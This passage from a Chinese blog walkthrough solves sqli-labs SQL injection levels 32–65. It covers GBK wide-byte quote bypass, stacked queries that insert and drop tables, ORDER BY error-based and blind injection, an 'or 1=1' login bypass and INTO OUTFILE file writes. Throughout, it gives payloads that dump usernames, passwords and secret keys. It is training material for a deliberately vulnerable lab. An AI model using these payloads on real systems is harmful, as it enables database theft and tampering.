(转换的函数或者思路会在每一关遇到的时候介绍)。因此我们在此想办法将 '
前面添加的 \
除掉,一般有两种思路:
1、%df
吃掉 \
具体的原因是 urlencode('\) = %5c%27
,我们在%5c%27
前面添加%df
,形成%df%5c%27
,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事%df%5c
就是一个汉字,%27
则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 \'
中的 \
过滤掉,例如可以构造 %**%5c%5c%27
的情况,后面的%5c
会被前面的%5c
给注释掉。这也是 bypass 的一种方法
总结
宽字节造成的环境:1.checklasheshes (待殊字符转义),2.mysqllquery('set names gbk)
宽字节的原理:主要是涉及到数据库的编码与后台程序的编码一不一致,
尝试注入,判断字段?id=1%df' order by 3--+
爆数据库:?id=0%df' union select 1,database(),3 --+
爆表:?id=0%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
7365637572697479--是security
的16进制编码
或者?id=0%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆字段:?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+
爆数据:?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
所以只要前面加一个%df就行,然后需要加单引号的文本用16进制编码。
Less-33 GET 宽字节注入 addslashes()
addslasches的作用,如果看了上一关的参考文章,应该就懂了。也是给特殊字符去加转义,用上一关的payload就可以通过
爆数据库:?id=0%df' union select 1,database(),3 --+
Less-34 POST 宽字节注入 addslashes()
本关换成了post传参,我们随便输入用户名密码,抓包再repeter里面操作。
猜闭合:1%df'
猜字段0%df' union select 1,2#
爆数据库:0%df' union select 1,database() --+
....
Less-35 GET 整数型 addslashes()
本关虽然也用了魔术引号,但是它是一个整数型传参,只需要注意security和users用16进制编码即可,然后我们使用联合查询注入
判断字段?id=1 order by 3--+
爆数据库:?id=0 union select 1,version(),database()--+
爆表:?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
爆字段:?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273--+
爆数据:?id=0 union select 1,2,group_concat(id,username,password) from users--+
Less-36 GET mysql_real_escape_string()
主要代码:
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
其实和32关的注入是一模一样的...
爆数据库:?id=0%df' union select 1,database(),3 --+
Less-37 POST mysql_real_escape_string
判断字段:1%df' union select 1,2--+
和34关一样
Page-3 Stacked injections(堆叠注入)
Less-38 GET 堆叠注入
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在 mysql 中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
1.原理介绍
原理:在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。 试想一下我们在 ; 结束一个 sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入 。
区别:union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
2.局限性
1.并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
2.在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略,这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等
3.注入
mysqli_multi_query()函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。
堆叠注入,实际就是灵活运用数据库的增删改查这些操作。
(38~53都是堆叠注入)
还是先判断闭合,?id=1'
我们尝试像users表插入一条数据
?id=1';insert into users(username,password) values('zhangsan','xiexie');
执行成功,但是我们不知道是否插入成功的,到数据库查看。
Less-39 GET 堆叠注入 整数型
判断闭合:?id=1
向表中插入数据:?id=1;insert into users(username,password) values('zhangsan39','xiexie39');
Less-40 GET 字符型 盲注
闭合为('id')
插入数据:?id=1');insert into users(username,password) values('zhangsan40','xiexie40');
Less-41 GET 整数型 盲注
也是整型,和39关一样
Less-42 POST 字符型
分析源码我们发现对$username进行了转义,所以不能像24关一样进行二次注入。但是可以对password进行堆叠;
这里我们密码登录用1';create table test like users;
通过这样来创建一个test表,来测试;
可以看到虽然没有登录成功,但是test表已经成功创建,然后我们再用1';drop table test;
然后同样的可以插入删除数据,这里通过源码,我们可以发现也可以进行盲注、和报错注入
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
.......
而且由于对$password没有过滤,典型的万能密码登录;用户名:admin,密码:1' or 1=1#
,然后返回了dumb这个用户。
联合查询注入:
1' union select 1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3#
Less-43 POST 字符型 带括号
源码: $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
闭合为1')
堆叠:1');create table test like users;
....
Less-44 POST
和42关一样,只是不能用报错注入,这里不会有错误信息显示
请求方式 | 注入类型 | 拼接方式 |
POST | 联合、布尔盲注、延时盲注、堆叠注入 | username='$username' |
Less-45 POST
请求方式 | 注入类型 | 拼接方式 |
POST | 联合、布尔盲注、延时盲注、堆叠注入 | username=('$username') |
和43关一样只是少了报错注入
Less-46 GET order by
请求方式 | 注入类型 | 拼接方式 |
GET | 报错、布尔盲注、延时盲注 | ORDER BY $id |
本关的 sql 语句为$sql = "SELECT * FROM users ORDER BY $id";
从上述的 sql 语句中我们可以看出,我们的注入点在 order by 后面的参数中,而 order by不同于的我们在 where 后的注入点,不能使用 union 等进行注入。 可利用 order by 后的一些参数进行注入。
本关传参值为sort
1.验证方式
(1)升序和降序
# 升序排序
?sort=1 asc
# 降序排序
?sort=1 desc
(2)rand()验证
rand (ture) 和 rand (false) 的结果是不一样的
?sort=rand(true)
?sort=rand(false)
所以利用这个可以轻易构造出一个布尔和延时类型盲注的测试payload
此外 rand () 结果是一直都是随机的
?sort=rand() #每次回车顺序都在变
?sort=1 and rand()
(3)延时验证
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
2.报错注入1 利用group by
?sort=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
分析一下:
count(*),统计行数
cast(),函数将任何类型的值转换为具有指定类型的值
group by key的原理是循环读取数据的每一行,将结果保存在临时表中。读取每一行的可以时,如果key存在临时表,则不在临时表中更新;不在,则向临时表中插入key所在行的数据。这个临时主键就是group by后面的x,x就是concat((select(select concat(cast(concat(username,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x
的别名,所以报错的原因是主键重复。而floor(rand(0)*2)
产生随机整数0,1;是这里插入会进行二次运算,第一次和第二次的计算值可能是不一样的,再次插入,之前的值可能已经存在了,这时候插入就会导致主键重复,引发报错。
group by 详解参考一位大佬:http://t.csdnimg.cn/vtDXN
查看用户名:?sort=(select count(*) from information_schema.co lumns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
3.报错注入2 procedure analyse函数
?sort=1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(':',username,password)+FROM+users limit 0,1))),1)
4.布尔盲注
?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')
5.延时注入
数据库第一个字母的 ascii 码为 115,即 s
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
6.into outfile
将查询结果导入到文件中:
?sort=1 into outfile "/var/www/html/less46.txt"
Less-47 GET
请求方式 | 注入类型 | 拼接方式 |
GET | 报错、布尔盲注、延时盲注 | ORDER BY '$id' |
和 Less-46 相比,利用方式不变,只是拼接方式方式变化,注入的时候只要正常闭合即可。
?sort=1%27and (select count(*) from informati on_schema.columns group 20by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(ran d()*2)))--+
Less-48 GET
请求方式 | 注入类型 | 拼接方式 |
GET | 布尔盲注、延时盲注 | ORDER BY $id |
和 Less-46 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里不再过多演示了。
Less-49 GET
请求方式 | 注入类型 | 拼接方式 |
GET | 布尔盲注、延时盲注 | ORDER BY '$id' |
和 Less-47 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里不再过多演示了。
Less-50 GET
请求方式 | 注入类型 | 拼接方式 |
GET | 报错、布尔盲注、延时盲注、堆叠注入 | ORDER BY $id |
和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入,在注入方面会更加灵活。堆叠注入的话这里不再演示,详细细节可以参考 Less-38 的堆叠注入的姿势。
Less-51 GET
请求方式 | 注入类型 | 拼接方式 |
GET | 报错、布尔盲注、延时盲注、堆叠注入 | ORDER BY '$id' |
和 Less-50 相比只是拼接方式发生了变化,实际注入的时候只需做一下对应的闭合即可。
Less-52 GET
请求方式 | 注入类型 | 拼接方式 |
GET | 布尔盲注、延时盲注、堆叠注入 | ORDER BY $id |
和 Less-50 是一样的,只是少了报错注入的利用方式。
Less-53 GET
请求方式 | 注入类型 | 拼接方式 |
GET | 布尔盲注、延时盲注、堆叠注入 | ORDER BY '$id' |
和 Less-51 是一样的,只是少了报错注入的利用方式。
Page-4 Challenges
Less-54
根据页面提示知道这关是在不到10次的尝试中仅从数据库的随机表中转储(密钥)(“挑战”)
有趣的是,每次重置时,挑战都会产生随机的表名、列名和表数据。时刻保持新鲜。
首先还是判断闭合;单引号时无显示,闭合:?id=1'--+
判断字段:
?id=1' order by 3--+
?id=1' order by 4--+
判断可注入字段:
?id=0' union select 1,2,3--+
爆表名:
?id=0' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
数据库名为:challenges
,表名:zoa72ev6eq
爆字段名(16进制转换一下:转换工具):
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7a6f6137326576366571 --+
获取字段id,sessid,secret_WH9Q,tryy
爆字段下数据:
?id=0' union select 1,2,group_concat(secret_WH9Q) from zoa72ev6eq --+
获取key:vPk4Hx5q4LgqP5iuIHQbnvSI
除了判断闭合不确定外,其他在10步内应该可以完成
Less-55
请求方式 | 注入类型 | 拼接方式 |
GET | 联合、布尔盲注、延时盲注 | id=($id) |
Less-55 给了 14 次尝试机会,代码基本上没有变化,只是闭合方式发生了变化。
Less-56
请求方式 | 注入类型 | 拼接方式 |
GET | 联合、布尔盲注、延时盲注 | id=('$id') |
和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54
Less-57
请求方式 | 注入类型 | 拼接方式 |
GET | 联合、布尔盲注、延时盲注 | id="$id" |
和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54
Less-58
请求方式 | 注入类型 | 拼接方式 |
GET | 报错、布尔盲注、延时盲注 | id='$id' |
Less-58 这里相比较于 Less-54 - Less-57 变化还是比较大的,主要有明显区别的代码如下:
PHP
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = ($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
因为这里输出只输出 $unames 和 $pass 数组,pass 数组就是 unames 数组的逆序,所以这里使用联合查询的话是没有效果的,输出不了有用的信息。天无绝人之路,但是下面输出:
PHP
print_r(mysql_error());
所以这里就可以进行报错注入,下面直接丢 payload 吧:
PAYLOAD
?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(secret_OD68 )+AS+CHAR),0x7e))+FROM+WOO6ID239T+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+
这里注入的表名为:WOO6ID239T,列名为:secret_OD68
Less-59
请求方式 | 注入类型 | 拼接方式 |
GET | 报错、布尔盲注、延时盲注 | id=$id |
与 Less-58 的思路一样,只是拼接方式不一样,详见 Less-58
Less-60
请求方式 | 注入类型 | 拼接方式 |
GET | 报错、布尔盲注、延时盲注 | id=("$id") |
与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58
Less-61
请求方式 | 注入类型 | 拼接方式 |
GET | 报错、布尔盲注、延时盲注 | id=(('$id')) |
与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58
Less-62
请求方式 | 注入类型 | 拼接方式 |
GET | 布尔盲注、延时盲注 | id=('$id') |
此时报错也取消了,这里只能进行布尔盲注或者延时盲注了,这是一个大工程,在实战工程中还是靠 sqlmap 这种自动化注入神器了,手工注入的话岂不是得天荒地老。
Less-63
请求方式 | 注入类型 | 拼接方式 |
GET | 布尔盲注、延时盲注 | id='$id' |
与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62
Less-64
请求方式 | 注入类型 | 拼接方式 |
GET | 布尔盲注、延时盲注 | id=(($id)) |
与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62
Less-65
请求方式 | 注入类型 | 拼接方式 |
GET | 布尔盲注、延时盲注 | id=("$id") |
与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62
总结
参考文章链接:
标签:Less,less,labs,sqli,concat,schema,id,select,注入 From: https://blog.csdn.net/qq_51780583/article/details/136797117